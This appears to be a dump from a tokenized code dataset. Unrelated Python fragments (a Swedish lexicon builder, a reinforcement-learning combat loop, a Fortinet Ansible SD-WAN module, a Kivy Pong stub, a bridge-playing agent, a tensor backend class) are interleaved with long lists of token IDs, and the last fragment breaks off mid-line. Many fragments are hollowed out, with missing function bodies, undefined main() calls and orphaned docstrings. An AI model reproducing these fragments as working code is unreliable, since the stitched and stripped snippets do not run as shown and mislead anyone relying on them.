out.write(out_annotation) # @modelbuilder("Diapivot model", language=["swe"]) def build_diapivot(out: ModelOutput = ModelOutput("hist/diapivot.pickle")): """Download diapivot XML dictionary and save as a pickle file.""" # Download diapivot.xml xml_model = Model("hist/diapivot.xml") xml_model.download("https://svn.spraakdata.gu.se/sb-arkiv/pub/lmf/diapivot/diapivot.xml") # Create pickle file xml_lexicon = read_xml(xml_model.path) log.info("Saving cross lexicon in Pickle format") picklex = {} for lem in xml_lexicon: lemgrams = [] for saldo, match in list(xml_lexicon[lem].items()): lemgrams.append(PART_DELIM1.join([saldo, match])) picklex[lem] = sorted(lemgrams) out.write_pickle(picklex) # Clean up xml_model.remove() ################################################################################ # Auxiliaries ################################################################################ def read_xml(xml): """Read the XML version of crosslinked lexicon.""" log.info("Reading XML lexicon") lexicon = {} context = etree.iterparse(xml, events=("start", "end")) # "start" needed to save reference to root element context = iter(context) _event, root = next(context) for event, elem in context: if event == "end": if elem.tag == 'LexicalEntry': lemma = elem.find("Lemma") dalin, saldo = [], '' for form in lemma.findall("FormRepresentation"): cat = _findval(form, "category") lem = _findval(form, "lemgram") if cat == "modern": saldo = lem else: match = _findval(form, "match") dalin += [(lem, match)] [lexicon.update({d: {'saldo': saldo, 'match': m}}) for (d, m) in dalin] # Done parsing section. Clear tree to save memory if elem.tag in ['LexicalEntry', 'frame', 'resFrame']: root.clear() testwords = ["tigerhjerta..nn.1", "lgland..nn.1", "gud..nn.1"] util.test_lexicon(lexicon, testwords) log.info("OK, read") return lexicon
[ 37811, 16447, 2566, 499, 45785, 23025, 526, 15931, 198, 198, 11748, 18931, 198, 11748, 2298, 293, 198, 11748, 35555, 13, 316, 631, 13, 20180, 27660, 355, 2123, 631, 198, 198, 11748, 37331, 85, 13, 22602, 355, 7736, 198, 6738, 37331, 85,...
2.325795
1,636
import os
[ 11748, 28686, 628, 628 ]
3.25
4
from django.utils.html import format_html from wagtail.wagtailcore import hooks
[ 6738, 42625, 14208, 13, 26791, 13, 6494, 1330, 5794, 62, 6494, 198, 6738, 266, 363, 13199, 13, 86, 363, 13199, 7295, 1330, 26569, 628 ]
3.375
24
from conftest import QL_URL import requests
[ 6738, 369, 701, 395, 1330, 1195, 43, 62, 21886, 198, 11748, 7007, 198 ]
3.384615
13
from buildbot.process.remotecommand import RemoteCommand from buildbot.interfaces import WorkerTooOldError import stat
[ 6738, 1382, 13645, 13, 14681, 13, 2787, 313, 721, 2002, 392, 1330, 21520, 21575, 198, 6738, 1382, 13645, 13, 3849, 32186, 1330, 35412, 23307, 19620, 12331, 198, 11748, 1185, 628, 198 ]
3.903226
31
from matplotlib import style from tqdm import tqdm style.use("ggplot") from gym_combat.envs.Arena.CState import State from gym_combat.envs.Arena.Entity import Entity from gym_combat.envs.Arena.Environment import Environment, Episode from gym_combat.envs.Common.constants import * from gym_combat.envs.Qtable import Qtable_DecisionMaker from gym_combat.envs.DQN import DQNAgent_keras from gym_combat.envs.Greedy import Greedy_player import matplotlib.pyplot as plt if __name__ == '__main__': env = Environment(IS_TRAINING) print("Starting Blue player") blue_decision_maker = DQNAgent_keras.DQNAgent_keras() #blue_decision_maker = DQNAgent_keras.DQNAgent_keras(UPDATE_CONTEXT=True, path_model_to_load='conv1(6_6_1_256)_conv2(4_4_256_128)_conv3(3_3_128_128)_flatten_fc__blue_202001_ 0.95max_ -0.04avg_ -3.10min__1620558885.model') print("Starting red player") ### Red Decision Maker red_decision_maker = Greedy_player.Greedy_player() env.blue_player = Entity(blue_decision_maker) env.red_player = Entity(red_decision_maker) print_start_of_game_info(blue_decision_maker, red_decision_maker) NUM_OF_EPISODES = env.NUMBER_OF_EPISODES for episode in tqdm(range(1, NUM_OF_EPISODES + 1), ascii=True, unit='episodes'): EVALUATE = evaluate(episode) current_episode = Episode(episode, EVALUATE, show_always=False if IS_TRAINING else True) # set new start position for the players env.reset_game(episode) # get observation observation_for_blue_s0: State = env.get_observation_for_blue() action_blue = -1 # initialize the decision_makers for the players blue_decision_maker.set_initial_state(observation_for_blue_s0, episode) #red_decision_maker.set_initial_state(observation_for_red_s0, episode) # for non-greedy players blue_won_the_game = False red_won_the_game = False for steps_current_game in range(1, MAX_STEPS_PER_EPISODE + 1): ##### Blue's turn! ##### observation_for_blue_s0: State = env.get_observation_for_blue() current_episode.print_episode(env, steps_current_game) action_blue: AgentAction = blue_decision_maker.get_action(observation_for_blue_s0, EVALUATE) env.take_action(Color.Blue, action_blue) # take the action! current_episode.print_episode(env, steps_current_game) current_episode.is_terminal = (env.compute_terminal(whos_turn=Color.Blue) is not WinEnum.NoWin) if current_episode.is_terminal:# Blue won the game! blue_won_the_game=True else: ##### Red's turn! ##### observation_for_red_s0: State = env.get_observation_for_red() action_red: AgentAction = red_decision_maker.get_action(observation_for_red_s0, EVALUATE) env.take_action(Color.Red, action_red) # take the action! current_episode.is_terminal = (env.compute_terminal(whos_turn=Color.Red) is not WinEnum.NoWin) if current_episode.is_terminal: # Blue won the game! red_won_the_game = True current_episode.print_episode(env, steps_current_game) reward_step_blue, reward_step_red = env.handle_reward(steps_current_game) current_episode.episode_reward_red += reward_step_red current_episode.episode_reward_blue += reward_step_blue observation_for_blue_s1: State = env.get_observation_for_blue() blue_decision_maker.update_context(observation_for_blue_s0, action_blue, reward_step_blue, observation_for_blue_s1, current_episode.is_terminal, EVALUATE) if steps_current_game == MAX_STEPS_PER_EPISODE: # if we exited the loop because we reached MAX_STEPS_PER_EPISODE current_episode.is_terminal = True if blue_won_the_game or red_won_the_game: break # for statistics env.update_win_counters(steps_current_game) env.data_for_statistics(current_episode.episode_reward_blue, current_episode.episode_reward_red, steps_current_game, blue_decision_maker.get_epsolon()) env.evaluate_info(EVALUATE, episode, steps_current_game, blue_decision_maker.get_epsolon()) if current_episode.episode_number % SAVE_STATS_EVERY == 0: if False:#blue_decision_maker.type()== AgentType.DQN_keras or blue_decision_maker.type() == AgentType.DQN_basic: blue_decision_maker._decision_maker.print_model(observation_for_blue_s0, episode, "conv")#env.save_folder_path) # print info of episode: current_episode.print_info_of_episode(env, steps_current_game, blue_decision_maker.get_epsolon(), episode) env.end_run() if blue_decision_maker.type() == AgentType.DQN_keras or blue_decision_maker.type() == AgentType.DQN_basic: blue_decision_maker._decision_maker.print_model(observation_for_blue_s0, episode, env.save_folder_path)
[ 6738, 2603, 29487, 8019, 1330, 3918, 198, 6738, 256, 80, 36020, 1330, 256, 80, 36020, 198, 198, 7635, 13, 1904, 7203, 1130, 29487, 4943, 198, 6738, 11550, 62, 39969, 13, 268, 14259, 13, 43199, 64, 13, 34, 9012, 1330, 1812, 198, 6738, ...
2.30181
2,210
"""Hyper-distributions.""" from libqif.core.secrets import Secrets from libqif.core.channel import Channel from numpy import array, arange, zeros from numpy import delete as npdelete
[ 37811, 38197, 12, 17080, 2455, 507, 526, 15931, 198, 198, 6738, 9195, 80, 361, 13, 7295, 13, 2363, 8004, 1330, 23561, 198, 6738, 9195, 80, 361, 13, 7295, 13, 17620, 1330, 11102, 198, 6738, 299, 32152, 1330, 7177, 11, 610, 858, 11, 1...
3.407407
54
#!/usr/bin/python from __future__ import (absolute_import, division, print_function) # Copyright 2019 Fortinet, Inc. # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <https://www.gnu.org/licenses/>. __metaclass__ = type ANSIBLE_METADATA = {'status': ['preview'], 'supported_by': 'community', 'metadata_version': '1.1'} DOCUMENTATION = ''' --- module: fortios_system_virtual_wan_link short_description: Configure redundant internet connections using SD-WAN (formerly virtual WAN link) in Fortinet's FortiOS and FortiGate. description: - This module is able to configure a FortiGate or FortiOS (FOS) device by allowing the user to set and modify system feature and virtual_wan_link category. Examples include all parameters and values need to be adjusted to datasources before usage. Tested with FOS v6.0.5 version_added: "2.8" author: - Miguel Angel Munoz (@mamunozgonzalez) - Nicolas Thomas (@thomnico) notes: - Requires fortiosapi library developed by Fortinet - Run as a local_action in your playbook requirements: - fortiosapi>=0.9.8 options: host: description: - FortiOS or FortiGate IP address. type: str required: false username: description: - FortiOS or FortiGate username. type: str required: false password: description: - FortiOS or FortiGate password. type: str default: "" vdom: description: - Virtual domain, among those defined previously. A vdom is a virtual instance of the FortiGate that can be configured and used as a different unit. type: str default: root https: description: - Indicates if the requests towards FortiGate must use HTTPS protocol. type: bool default: true ssl_verify: description: - Ensures FortiGate certificate must be verified by a proper CA. type: bool default: true version_added: 2.9 system_virtual_wan_link: description: - Configure redundant internet connections using SD-WAN (formerly virtual WAN link). default: null type: dict suboptions: fail_alert_interfaces: description: - Physical interfaces that will be alerted. type: list suboptions: name: description: - Physical interface name. Source system.interface.name. required: true type: str fail_detect: description: - Enable/disable SD-WAN Internet connection status checking (failure detection). type: str choices: - enable - disable health_check: description: - SD-WAN status checking or health checking. Identify a server on the Internet and determine how SD-WAN verifies that the FortiGate can communicate with it. type: list suboptions: addr_mode: description: - Address mode (IPv4 or IPv6). type: str choices: - ipv4 - ipv6 failtime: description: - Number of failures before server is considered lost (1 - 3600). type: int http_agent: description: - String in the http-agent field in the HTTP header. type: str http_get: description: - URL used to communicate with the server if the protocol if the protocol is HTTP. type: str http_match: description: - Response string expected from the server if the protocol is HTTP. type: str interval: description: - Status check interval, or the time between attempting to connect to the server (1 - 3600 sec). type: int members: description: - Member sequence number list. type: list suboptions: seq_num: description: - Member sequence number. Source system.virtual-wan-link.members.seq-num. type: int name: description: - Status check or health check name. required: true type: str packet_size: description: - Packet size of a twamp test session, type: int password: description: - Twamp controller password in authentication mode type: str port: description: - Port number used to communicate with the server over the selected protocol. type: int protocol: description: - Protocol used to determine if the FortiGate can communicate with the server. type: str choices: - ping - tcp-echo - udp-echo - http - twamp - ping6 recoverytime: description: - Number of successful responses received before server is considered recovered (1 - 3600). type: int security_mode: description: - Twamp controller security mode. type: str choices: - none - authentication server: description: - IP address or FQDN name of the server. type: str sla: description: - Service level agreement (SLA). type: list suboptions: id: description: - SLA ID. required: true type: int jitter_threshold: description: - Jitter for SLA to make decision in milliseconds. (0 - 10000000). type: int latency_threshold: description: - Latency for SLA to make decision in milliseconds. (0 - 10000000). type: int link_cost_factor: description: - Criteria on which to base link selection. type: str choices: - latency - jitter - packet-loss packetloss_threshold: description: - Packet loss for SLA to make decision in percentage. (0 - 100). type: int threshold_alert_jitter: description: - Alert threshold for jitter (ms). type: int threshold_alert_latency: description: - Alert threshold for latency (ms). type: int threshold_alert_packetloss: description: - Alert threshold for packet loss (percentage). type: int threshold_warning_jitter: description: - Warning threshold for jitter (ms). type: int threshold_warning_latency: description: - Warning threshold for latency (ms). type: int threshold_warning_packetloss: description: - Warning threshold for packet loss (percentage). type: int update_cascade_interface: description: - Enable/disable update cascade interface. type: str choices: - enable - disable update_static_route: description: - Enable/disable updating the static route. type: str choices: - enable - disable load_balance_mode: description: - Algorithm or mode to use for load balancing Internet traffic to SD-WAN members. type: str choices: - source-ip-based - weight-based - usage-based - source-dest-ip-based - measured-volume-based members: description: - Physical FortiGate interfaces added to the virtual-wan-link. type: list suboptions: comment: description: - Comments. type: str gateway: description: - The default gateway for this interface. Usually the default gateway of the Internet service provider that this interface is connected to. type: str gateway6: description: - IPv6 gateway. type: str ingress_spillover_threshold: description: - Ingress spillover threshold for this interface (0 - 16776000 kbit/s). When this traffic volume threshold is reached, new sessions spill over to other interfaces in the SD-WAN. type: int interface: description: - Interface name. Source system.interface.name. type: str priority: description: - Priority of the interface (0 - 4294967295). Used for SD-WAN rules or priority rules. type: int seq_num: description: - Sequence number(1-255). type: int source: description: - Source IP address used in the health-check packet to the server. type: str source6: description: - Source IPv6 address used in the health-check packet to the server. type: str spillover_threshold: description: - Egress spillover threshold for this interface (0 - 16776000 kbit/s). When this traffic volume threshold is reached, new sessions spill over to other interfaces in the SD-WAN. type: int status: description: - Enable/disable this interface in the SD-WAN. type: str choices: - disable - enable volume_ratio: description: - Measured volume ratio (this value / sum of all values = percentage of link volume, 0 - 255). type: int weight: description: - Weight of this interface for weighted load balancing. (0 - 255) More traffic is directed to interfaces with higher weights. type: int service: description: - Create SD-WAN rules or priority rules (also called services) to control how sessions are distributed to physical interfaces in the SD-WAN. type: list suboptions: addr_mode: description: - Address mode (IPv4 or IPv6). type: str choices: - ipv4 - ipv6 bandwidth_weight: description: - Coefficient of reciprocal of available bidirectional bandwidth in the formula of custom-profile-1. type: int default: description: - Enable/disable use of SD-WAN as default service. type: str choices: - enable - disable dscp_forward: description: - Enable/disable forward traffic DSCP tag. type: str choices: - enable - disable dscp_forward_tag: description: - Forward traffic DSCP tag. type: str dscp_reverse: description: - Enable/disable reverse traffic DSCP tag. type: str choices: - enable - disable dscp_reverse_tag: description: - Reverse traffic DSCP tag. type: str dst: description: - Destination address name. type: list suboptions: name: description: - Address or address group name. Source firewall.address.name firewall.addrgrp.name. required: true type: str dst_negate: description: - Enable/disable negation of destination address match. type: str choices: - enable - disable dst6: description: - Destination address6 name. type: list suboptions: name: description: - Address6 or address6 group name. Source firewall.address6.name firewall.addrgrp6.name. required: true type: str end_port: description: - End destination port number. type: int gateway: description: - Enable/disable SD-WAN service gateway. type: str choices: - enable - disable groups: description: - User groups. type: list suboptions: name: description: - Group name. Source user.group.name. required: true type: str health_check: description: - Health check. Source system.virtual-wan-link.health-check.name. type: str hold_down_time: description: - Waiting period in seconds when switching from the back-up member to the primary member (0 - 10000000). type: int id: description: - Priority rule ID (1 - 4000). required: true type: int input_device: description: - Source interface name. type: list suboptions: name: description: - Interface name. Source system.interface.name. required: true type: str internet_service: description: - Enable/disable use of Internet service for application-based load balancing. type: str choices: - enable - disable internet_service_ctrl: description: - Control-based Internet Service ID list. type: list suboptions: id: description: - Control-based Internet Service ID. required: true type: int internet_service_ctrl_group: description: - Control-based Internet Service group list. type: list suboptions: name: description: - Control-based Internet Service group name. Source application.group.name. required: true type: str internet_service_custom: description: - Custom Internet service name list. type: list suboptions: name: description: - Custom Internet service name. Source firewall.internet-service-custom.name. required: true type: str internet_service_custom_group: description: - Custom Internet Service group list. type: list suboptions: name: description: - Custom Internet Service group name. Source firewall.internet-service-custom-group.name. required: true type: str internet_service_group: description: - Internet Service group list. type: list suboptions: name: description: - Internet Service group name. Source firewall.internet-service-group.name. required: true type: str internet_service_id: description: - Internet service ID list. type: list suboptions: id: description: - Internet service ID. Source firewall.internet-service.id. required: true type: int jitter_weight: description: - Coefficient of jitter in the formula of custom-profile-1. type: int latency_weight: description: - Coefficient of latency in the formula of custom-profile-1. type: int link_cost_factor: description: - Link cost factor. type: str choices: - latency - jitter - packet-loss - inbandwidth - outbandwidth - bibandwidth - custom-profile-1 link_cost_threshold: description: - Percentage threshold change of link cost values that will result in policy route regeneration (0 - 10000000). type: int member: description: - Member sequence number. type: int mode: description: - Control how the priority rule sets the priority of interfaces in the SD-WAN. type: str choices: - auto - manual - priority - sla name: description: - Priority rule name. type: str packet_loss_weight: description: - Coefficient of packet-loss in the formula of custom-profile-1. type: int priority_members: description: - Member sequence number list. type: list suboptions: seq_num: description: - Member sequence number. Source system.virtual-wan-link.members.seq-num. type: int protocol: description: - Protocol number. type: int quality_link: description: - Quality grade. type: int route_tag: description: - IPv4 route map route-tag. type: int sla: description: - Service level agreement (SLA). type: list suboptions: health_check: description: - Virtual WAN Link health-check. Source system.virtual-wan-link.health-check.name. type: str id: description: - SLA ID. type: int src: description: - Source address name. type: list suboptions: name: description: - Address or address group name. Source firewall.address.name firewall.addrgrp.name. required: true type: str src_negate: description: - Enable/disable negation of source address match. type: str choices: - enable - disable src6: description: - Source address6 name. type: list suboptions: name: description: - Address6 or address6 group name. Source firewall.address6.name firewall.addrgrp6.name. required: true type: str start_port: description: - Start destination port number. type: int status: description: - Enable/disable SD-WAN service. type: str choices: - enable - disable tos: description: - Type of service bit pattern. type: str tos_mask: description: - Type of service evaluated bits. type: str users: description: - User name. type: list suboptions: name: description: - User name. Source user.local.name. required: true type: str status: description: - Enable/disable SD-WAN. type: str choices: - disable - enable ''' EXAMPLES = ''' - hosts: localhost vars: host: "192.168.122.40" username: "admin" password: "" vdom: "root" ssl_verify: "False" tasks: - name: Configure redundant internet connections using SD-WAN (formerly virtual WAN link). fortios_system_virtual_wan_link: host: "{{ host }}" username: "{{ username }}" password: "{{ password }}" vdom: "{{ vdom }}" https: "False" system_virtual_wan_link: fail_alert_interfaces: - name: "default_name_4 (source system.interface.name)" fail_detect: "enable" health_check: - addr_mode: "ipv4" failtime: "8" http_agent: "<your_own_value>" http_get: "<your_own_value>" http_match: "<your_own_value>" interval: "12" members: - seq_num: "14 (source system.virtual-wan-link.members.seq-num)" name: "default_name_15" packet_size: "16" password: "<your_own_value>" port: "18" protocol: "ping" recoverytime: "20" security_mode: "none" server: "192.168.100.40" sla: - id: "24" jitter_threshold: "25" latency_threshold: "26" link_cost_factor: "latency" packetloss_threshold: "28" threshold_alert_jitter: "29" threshold_alert_latency: "30" threshold_alert_packetloss: "31" threshold_warning_jitter: "32" threshold_warning_latency: "33" threshold_warning_packetloss: "34" update_cascade_interface: "enable" update_static_route: "enable" load_balance_mode: "source-ip-based" members: - comment: "Comments." gateway: "<your_own_value>" gateway6: "<your_own_value>" ingress_spillover_threshold: "42" interface: "<your_own_value> (source system.interface.name)" priority: "44" seq_num: "45" source: "<your_own_value>" source6: "<your_own_value>" spillover_threshold: "48" status: "disable" volume_ratio: "50" weight: "51" service: - addr_mode: "ipv4" bandwidth_weight: "54" default: "enable" dscp_forward: "enable" dscp_forward_tag: "<your_own_value>" dscp_reverse: "enable" dscp_reverse_tag: "<your_own_value>" dst: - name: "default_name_61 (source firewall.address.name firewall.addrgrp.name)" dst_negate: "enable" dst6: - name: "default_name_64 (source firewall.address6.name firewall.addrgrp6.name)" end_port: "65" gateway: "enable" groups: - name: "default_name_68 (source user.group.name)" health_check: "<your_own_value> (source system.virtual-wan-link.health-check.name)" hold_down_time: "70" id: "71" input_device: - name: "default_name_73 (source system.interface.name)" internet_service: "enable" internet_service_ctrl: - id: "76" internet_service_ctrl_group: - name: "default_name_78 (source application.group.name)" internet_service_custom: - name: "default_name_80 (source firewall.internet-service-custom.name)" internet_service_custom_group: - name: "default_name_82 (source firewall.internet-service-custom-group.name)" internet_service_group: - name: "default_name_84 (source firewall.internet-service-group.name)" internet_service_id: - id: "86 (source firewall.internet-service.id)" jitter_weight: "87" latency_weight: "88" link_cost_factor: "latency" link_cost_threshold: "90" member: "91" mode: "auto" name: "default_name_93" packet_loss_weight: "94" priority_members: - seq_num: "96 (source system.virtual-wan-link.members.seq-num)" protocol: "97" quality_link: "98" route_tag: "99" sla: - health_check: "<your_own_value> (source system.virtual-wan-link.health-check.name)" id: "102" src: - name: "default_name_104 (source firewall.address.name firewall.addrgrp.name)" src_negate: "enable" src6: - name: "default_name_107 (source firewall.address6.name firewall.addrgrp6.name)" start_port: "108" status: "enable" tos: "<your_own_value>" tos_mask: "<your_own_value>" users: - name: "default_name_113 (source user.local.name)" status: "disable" ''' RETURN = ''' build: description: Build number of the fortigate image returned: always type: str sample: '1547' http_method: description: Last method used to provision the content into FortiGate returned: always type: str sample: 'PUT' http_status: description: Last result given by FortiGate on last operation applied returned: always type: str sample: "200" mkey: description: Master key (id) used in the last call to FortiGate returned: success type: str sample: "id" name: description: Name of the table used to fulfill the request returned: always type: str sample: "urlfilter" path: description: Path of the table used to fulfill the request returned: always type: str sample: "webfilter" revision: description: Internal revision number returned: always type: str sample: "17.0.2.10658" serial: description: Serial number of the unit returned: always type: str sample: "FGVMEVYYQT3AB5352" status: description: Indication of the operation's result returned: always type: str sample: "success" vdom: description: Virtual domain used returned: always type: str sample: "root" version: description: Version of the FortiGate returned: always type: str sample: "v5.6.3" ''' from ansible.module_utils.basic import AnsibleModule from ansible.module_utils.connection import Connection from ansible.module_utils.network.fortios.fortios import FortiOSHandler from ansible.module_utils.network.fortimanager.common import FAIL_SOCKET_MSG if __name__ == '__main__': main()
[ 2, 48443, 14629, 14, 8800, 14, 29412, 198, 6738, 11593, 37443, 834, 1330, 357, 48546, 62, 11748, 11, 7297, 11, 3601, 62, 8818, 8, 198, 2, 15069, 13130, 6401, 42504, 11, 3457, 13, 198, 2, 198, 2, 770, 1430, 318, 1479, 3788, 25, 345...
1.649291
21,639
from ElementoMapa import ElementoMapa
[ 6738, 11703, 78, 13912, 64, 1330, 11703, 78, 13912, 64, 628, 628 ]
3.416667
12
""" # Step 1 - Create the App # Step 2 - Create the Game # Step 3 - Build the Game # Step 4 - Run the App """ from kivy.app import App from kivy.uix.widget import Widget from kivy.properties import NumericProperty, ReferenceListProperty, ObjectProperty from kivy.vector import Vector from kivy.clock import Clock from random import randint # Update - moving the ball by calling the move function and other stuff # on touch_down() = When our fingers/mouse touches he screen # on touch_up() - when we lift our finger off the screen after touching it # on_touch_move() - when we drag our finger on the screen PongApp().run()
[ 37811, 201, 198, 2, 5012, 352, 532, 13610, 262, 2034, 201, 198, 2, 5012, 362, 532, 13610, 262, 3776, 201, 198, 2, 5012, 513, 532, 10934, 262, 3776, 201, 198, 2, 5012, 604, 532, 5660, 262, 2034, 201, 198, 37811, 201, 198, 201, 198,...
3.164251
207
""" CS 238 Final Project: Bridge RL Agent Eric Lou & Kimberly Tran """ import copy import datetime import numpy as np import random from collections import namedtuple """''''''''''''''''''''''''''''''''''''''''''''''''''''''''' REPRESENTATIONS OF BRIDGE Representing a "Card" as an integer: Cards 0 -> 12 are Club 2 -> Club 14 Cards 13 -> 25 are Diamond 2 -> Diamond 14 Cards 26 -> 38 are Heart 2 -> Heart 14 Cards 39 -> 51 are Spade 2 -> Spade 14 Jack is 11 Queen is 12 King is 13 Ace is 14 Representing a "Suit" as an integer: n/a is -1 <-- used in a "State" where no cards have been played yet. Clubs is 0 Diamonds is 1 Hearts is 2 Spades is 3 Representing a "State" as an opening suit and frozenset of up to 3 "Card"-s: state = State(1, frozenset(23, 0)) We have a Diamond 12 and Club 2 with an opening suit of Diamonds. The agent is 3rd to play a card and must play a Diamond if it has one. Representing the MDP with a Map from a "State" to an array of length-52: We call this Map "weights". And the array of length-52 represets the proportion with which the agent should play each of the 52 cards given that it is at that state. In this example, with state = (1, set(23, 0)), weights[state] will likely have very large values at indices 24 and 25 since a Diamond 13 and Diamond 14 will beat the Diamond 12. '''''''''''''''''''''''''''''''''''''''''''''''''''''''''""" State = namedtuple('State', ['opening_suit', 'cards_played', 'partners_card']) """''''''''''''''''''''''''''''''''''''''''''''''''''''''''' " " DEFINE SOME CONSTANTS " '''''''''''''''''''''''''''''''''''''''''''''''''''''''''""" NUM_ACTIONS = 52 # Agent can choose any card to play (only some are valid). NUM_GAMES_TRAIN = 10000 NUM_GAMES_TEST = 10000 STATS_PER = 1000 """''''''''''''''''''''''''''''''''''''''''''''''''''''''''' " " RL AGENT " '''''''''''''''''''''''''''''''''''''''''''''''''''''''''""" """''''''''''''''''''''''''''''''''''''''''''''''''''''''''' " " UTILITY FUNCTIONS " '''''''''''''''''''''''''''''''''''''''''''''''''''''''''""" """ This functions deals random cards. """ deck = list(range(52)) """ This function is used by non-agents who play randomly. """ """ This function determines the winner of the round. """ """ This function determines the declarer based on partnership with the most points. Return: (agent_is_declarer, declarer_idx) """ """ This function counts the points in each hand. Note: Ace is 12, 25, 38, 51 """ """''''''''''''''''''''''''''''''''''''''''''''''''''''''''' " " TRACKS PERFORMANCE OF BRIDGE AGENT " '''''''''''''''''''''''''''''''''''''''''''''''''''''''''""" """''''''''''''''''''''''''''''''''''''''''''''''''''''''''' " " PLAY A SINGLE GAME OF BRIDGE " '''''''''''''''''''''''''''''''''''''''''''''''''''''''''""" """ This function plays 13 rounds of 1 NT bridge and outputs a winner. """ if __name__ == "__main__": main()
[ 37811, 198, 7902, 32544, 8125, 4935, 25, 10290, 45715, 15906, 198, 25004, 4768, 1222, 48685, 833, 272, 198, 37811, 198, 11748, 4866, 198, 11748, 4818, 8079, 198, 11748, 299, 32152, 355, 45941, 198, 11748, 4738, 198, 198, 6738, 17268, 1330...
3.165764
923
"""Data Test Suite.""" from aiogithubapi.objects import repository import pytest import os from homeassistant.core import HomeAssistant from custom_components.hacs.hacsbase.data import HacsData from custom_components.hacs.helpers.classes.repository import HacsRepository from custom_components.hacs.hacsbase.configuration import Configuration from custom_components.hacs.share import get_hacs from tests.dummy_repository import dummy_repository_base
[ 37811, 6601, 6208, 26264, 526, 15931, 198, 6738, 257, 72, 519, 10060, 15042, 13, 48205, 1330, 16099, 198, 11748, 12972, 9288, 198, 11748, 28686, 198, 6738, 1363, 562, 10167, 13, 7295, 1330, 5995, 48902, 198, 6738, 2183, 62, 5589, 3906, ...
3.465649
131
from collections import namedtuple from contextlib import contextmanager from threading import Barrier from typing import List, Callable import numpy from ._dtype import DType, combine_types SolveResult = namedtuple('SolveResult', [ 'method', 'x', 'residual', 'iterations', 'function_evaluations', 'converged', 'diverged', 'message', ]) def auto_cast(self, *tensors) -> list: """ Determins the appropriate values type resulting from operations involving the tensors as input. This method is called by the default implementations of basic operators. Backends can override this method to prevent unnecessary casting. Args: *tensors: tensors to cast and to consider when determining the common data type Returns: tensors cast to a common data type """ dtypes = [self.dtype(t) for t in tensors] result_type = self.combine_types(*dtypes) if result_type.kind in (int, float, complex, bool): tensors = [self.cast(t, result_type) for t in tensors] return tensors def __str__(self): return self.name def __repr__(self): return self.name def list_devices(self, device_type: str or None = None) -> List[ComputeDevice]: """ Fetches information about all available compute devices this backend can use. Implementations: * NumPy: [`os.cpu_count`](https://docs.python.org/3/library/os.html#os.cpu_count) * PyTorch: [`torch.cuda.get_device_properties`](https://pytorch.org/docs/stable/cuda.html#torch.cuda.get_device_properties) * TensorFlow: `tensorflow.python.client.device_lib.list_local_devices` * Jax: [`jax.devices`](https://jax.readthedocs.io/en/latest/jax.html#jax.devices) Args: device_type: (optional) Return only devices of this type, e.g. `'GPU'` or `'CPU'`. See `ComputeDevice.device_type`. Returns: `list` of all currently available devices. """ raise NotImplementedError() def get_default_device(self) -> ComputeDevice: return self._default_device def set_default_device(self, device: ComputeDevice or str): if isinstance(device, str): devices = self.list_devices(device) assert len(devices) >= 1, f"{self.name}: Cannot select '{device} because no device of this type is available." device = devices[0] self._default_device = device def seed(self, seed: int): raise NotImplementedError() def is_tensor(self, x, only_native=False): """ An object is considered a native tensor by a backend if no internal conversion is required by backend methods. An object is considered a tensor (nativer or otherwise) by a backend if it is not a struct (e.g. tuple, list) and all methods of the backend accept it as a tensor argument. Args: x: object to check only_native: If True, only accepts true native tensor representations, not Python numbers or others that are also supported as tensors (Default value = False) Returns: bool: whether `x` is considered a tensor by this backend """ raise NotImplementedError() def as_tensor(self, x, convert_external=True): """ Converts a tensor-like object to the native tensor representation of this backend. If x is a native tensor of this backend, it is returned without modification. If x is a Python number (numbers.Number instance), `convert_numbers` decides whether to convert it unless the backend cannot handle Python numbers. *Note:* There may be objects that are considered tensors by this backend but are not native and thus, will be converted by this method. Args: x: tensor-like, e.g. list, tuple, Python number, tensor convert_external: if False and `x` is a Python number that is understood by this backend, this method returns the number as-is. This can help prevent type clashes like int32 vs int64. (Default value = True) Returns: tensor representation of `x` """ raise NotImplementedError() def is_available(self, tensor) -> bool: """ Tests if the value of the tensor is known and can be read at this point. If true, `numpy(tensor)` must return a valid NumPy representation of the value. Tensors are typically available when the backend operates in eager mode. Args: tensor: backend-compatible tensor Returns: bool """ raise NotImplementedError() def numpy(self, tensor) -> numpy.ndarray: """ Returns a NumPy representation of the given tensor. If `tensor` is already a NumPy array, it is returned without modification. This method raises an error if the value of the tensor is not known at this point, e.g. because it represents a node in a graph. Use `is_available(tensor)` to check if the value can be represented as a NumPy array. Args: tensor: backend-compatible tensor Returns: NumPy representation of the values stored in the tensor """ raise NotImplementedError() def to_dlpack(self, tensor): raise NotImplementedError() def from_dlpack(self, capsule): raise NotImplementedError() def copy(self, tensor, only_mutable=False): raise NotImplementedError() def call(self, f: Callable, *args, name=None): """ Calls `f(*args)` and returns the result. This method may be used to register internal calls with the profiler. Usage: choose_backend(key).call(custom_function, *args) """ return f(*args) def block_until_ready(self, values): pass def jit_compile(self, f: Callable) -> Callable: return NotImplemented def functional_gradient(self, f, wrt: tuple or list, get_output: bool): raise NotImplementedError(self) def custom_gradient(self, f: Callable, gradient: Callable) -> Callable: """ Creates a function based on `f` that uses a custom gradient for backprop. Args: f: Forward function. gradient: Function for backprop. Will be called as `gradient(*d_out)` to compute the gradient of `f`. Returns: Function with similar signature and return values as `f`. However, the returned function does not support keyword arguments. """ return NotImplemented def jit_compile_grad(self, f, wrt: tuple or list, get_output: bool): raise NotImplementedError() def transpose(self, tensor, axes): raise NotImplementedError() def random_uniform(self, shape): """ Float tensor of selected precision containing random values in the range [0, 1) """ raise NotImplementedError(self) def random_normal(self, shape): """ Float tensor of selected precision containing random values sampled from a normal distribution with mean 0 and std 1. """ raise NotImplementedError(self) def stack(self, values, axis=0): raise NotImplementedError(self) def concat(self, values, axis): raise NotImplementedError(self) def pad(self, value, pad_width, mode: str = 'constant', constant_values=0): """ Pad a tensor with values as specified by `mode` and `constant_values`. If the mode is not supported, returns NotImplemented. Args: value: tensor pad_width: 2D tensor specifying the number of values padded to the edges of each axis in the form [[axis 0 lower, axis 0 upper], ...] including batch and component axes. mode: constant', 'boundary', 'periodic', 'symmetric', 'reflect' constant_values: used for out-of-bounds points if mode='constant' (Default value = 0) mode: str: (Default value = 'constant') Returns: padded tensor or NotImplemented """ raise NotImplementedError(self) def reshape(self, value, shape): raise 